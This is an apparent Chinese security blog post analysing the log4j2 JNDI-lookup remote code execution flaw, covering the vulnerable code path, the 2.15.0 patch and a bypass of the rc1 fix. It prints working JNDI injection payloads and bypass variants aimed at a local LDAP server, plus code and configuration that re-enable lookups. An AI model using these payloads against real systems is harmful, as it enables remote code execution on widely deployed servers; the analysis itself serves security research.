log4j2 RCE 分析

前言

log4j2 这个漏洞可以说是核武了.... 一经发出大家都在连夜应急(可惜自己在学校体验不到这种感觉,蛮可惜的..)

log4j2 是一个非常流行的日志记录的包,所以当这个包出现了漏洞可想而知... 只要组件中引入了 log4j2-core 那么我们就可以像测试 XSS 那样来进行 RCE 这都是之前不敢想象的

Log4j RCE 梳理

影响版本

log4j <= 2.14.1

利用

在 pom 中添加下方 dependency

        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>

只要日志中含有以下 payload 那么就会导致触发,该漏洞通过 JNDI 注入的手法来进行利用

image-20211211103626975

漏洞分析

官方文档中可以看到对 JNDI Lookup 做了支持,那么如果 jndi: 后面可控的话就可以造成 JNDI 注入

image-20211211172606459

打上断点进行分析,前面其实都是在 appender 相关 ( Appender 即将日志输出到什么地方,有控制台,文件,数据库,远程服务器等 ) 默认情况是输出到 console 中, 然后就会调用编码器将log信息进行编码输出(默认为 UTF-8)

所以最开始的一些代码就是处理输出位置、编码 log 信息等工作,并不是我们的主要漏洞部分

略过前面的代码,直接来到关键入口:org.apache.logging.log4j.core.pattern#format

在 format 函数中这里的 if 判断首先会判断是否允许使用 lookup 功能,接下来会遍历 workingBuilder 来进行判断

如果 workingBuilder 中存在 ${ ,那么就会取出从 $ 开始知道最后的字符串,这一部

image-20211211110946770

workingBuilder 的内容如下,其实结构也比较清晰方法名,日志级别,当前类名,然后就是我们的 payload

image-20211211111707303

所以上图的 value 就是我们输入的 payload ${jndi:ldap://127.0.0.1:1389/Calc}

然后就会来到 substitute 函数

prefixMatcher => $ {

suffixMatcher => }

前半部分的逻辑其实就是通过 while 循环来进行不断匹配从而取出 ${ } 中间的值

在该函数中会对字符串进行遍历,我们的 payload 在这里被存放到了 buf 中,接下来会进入 while 循环

image-20211211112822228

在 while 循环中,会对字符进行逐字匹配 ${ ,

image-20211211121214843

然后进行循环读取,知道读取到 } 并获取其坐标,然后将 ${} 中间的内容取出来,然后又会调用 this.subtitute 来处理

ps:这里再次调用 substitute 是为了处理多个层级的 ${} 问题,这个会在后面进行介绍

image-20211211123411533

再次运行 subtitue 的时候由于我们已没有 ${ } 所以就直接来到下面,将 varName 作为变量传入了 resolveVariable 函数

image-20211211123809914

varName 就是为 ${} 中的值

image-20211211123833805

在 resolveVariable 中主要是来进行变量的处理,首先会调用 getVariableResolver 获取所有的 resolver , 然后在 lookup 方法中寻找对应的

image-20211211123933407

在 lookup 方法中,首先会截取前四位,此时我们取出来的为 jndi 然后根据取出来的名字中寻找对应的 lookup

image-20211211124342291

可以看到 strLookupMap 中放置了很多 Lookup 类,这里根据我们传入的 jndi 取出 JndiLookup

image-20211211124452587

然后调用了 JndiLookup#lookup,在该函数中由于 jndiName 可控造成了 JNDI 注入

image-20211211173211897

接下来就是 JNDI 注入的相关代码了就不跟了

image-20211211173533717

漏洞修复

官方给出了 CVE 编号和补丁,升级到了 2.15.0 之后默认不开启 JNDI Lookup

image-20211211180516332

漏洞修复主要是在 JndiManager#lookup 中增加了代码,因为最终的触发点就是这里

image-20211211182113819

在这里做了很多限制,一个一个来看

image-20211212075559343

在最开始的 this.allowedProtocols 为 {java,ldap,ldaps} 我们的 ldap 在其中,所以会继续

接下来就是 this.allowedHosts 的限制,这个限制的非常死,只允许本地host

image-20211212080056652

接下来对 javaSerializedData 中的 classname 做了处理(个人猜测这里是防止高版本 jndi 注入绕过,javaSerializedData 可被攻击者设置为反序列化 payload 从而攻击本地 classpath 中存在反序列化漏洞的包)
不过这里的 classname 限制是可以绕的

image-20211212080151253

最后针对 java Reference 地址 和 javaFactory 又做了限制....

image-20211212080414904

所以层层防御就导致最终 return null

ps: rc2 的也被bypass了,但是条件蛮苛刻的,具体可以看4ra1n 师傅的文章,127.0.0.1#evil[.]com 类似这样

Log4j rc1 Bypass

GitHub:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc1

由于自 2.15.0 起,关闭了 jndi lookup 所以我们需要手动开启,下面是我手动开启的 payload (为了开启这玩意儿卡了好久)

public class Demo {
    private static final Logger logg = LogManager.getLogger();

    public static void main(String[] args) {
        Configuration configuration = new DefaultConfiguration();
        MessagePatternConverter messagePatternConverter = MessagePatternConverter.newInstance(configuration,new String[]{"lookups"});
        LogEvent logEvent = new MutableLogEvent(new StringBuilder("${jndi:ldap://127.0.0.1:1389/ Calc}"),null);
        messagePatternConverter.format(logEvent,new StringBuilder("${jndi:ldap://127.0.0.1:1389/ Calc}"));
    }
}

这里简单的说一下思路(感谢 4ra1n 师傅):

首先参考官方文档看到了 下面这段话

For those who cannot upgrade to 2.15.0, in releases >=2.10, this vulnerability can be mitigated by setting either the system property log4j2.formatMsgNoLookups or the environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS to true.

所以我直接先全局搜索 nolookup 找到了 MessagePatternConverter 类

image-20211212081528269

然后在 newInstance 中会调用 loadLookups ,在 loadLookups 函数中有一句判断 if (LOOKUPS.equalsIgnoreCase(option)) 所以如果 options为 lookups 返回就为 true,然后在下面会根据 lookups 的状态来获取不同的 Converter ,我这边在 return 处打了断点来进行后续的分析

image-20211212085841983

然后结合之前调试 2.14.1 的流程,可以知道后面会调用获取到的 converter 的 format 方法

image-20211212092358262

所有我们只需要传入 event 和 buffer 就行了,buffer 就是我们的 payload ,event 根据构造函数创建就可以了

那么开始正文,在 rc1 的修复中 catch 并没有做任何处理,那么只要我们 URI 过程中导致抛错进入 catch 那么久仍然可以造成 jndi 注入

image-20211212093604001

这样的话绕过的情况就蛮多了

${jndi:ldap://127.0.0.1:1389/\$Calc}
${jndi:ldap://127.0.0.1:1389/ Calc}
${jndi:ldap://127.0.0.1:1389/\u0000Calc}
...

image-20211212094605801

评论

  1. KpLi0rn 博主
    已编辑
    2 年前
    2021-12-23 9:44:22

    手动开启的lookup 在 resources 中添加 log4j2.xml 文件
    内容如下:

    <configuration status="OFF" monitorInterval="30">
        <appenders>
            <console name="CONSOLE-APPENDER" target="SYSTEM_OUT">
                <PatternLayout pattern="%m{lookups}%n"/>
            </console>
        </appenders>
    
        <loggers>
            <root level="error">
                <appender-ref ref="CONSOLE-APPENDER"/>
            </root>
        </loggers>
    </configuration>

    就可以开启了

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇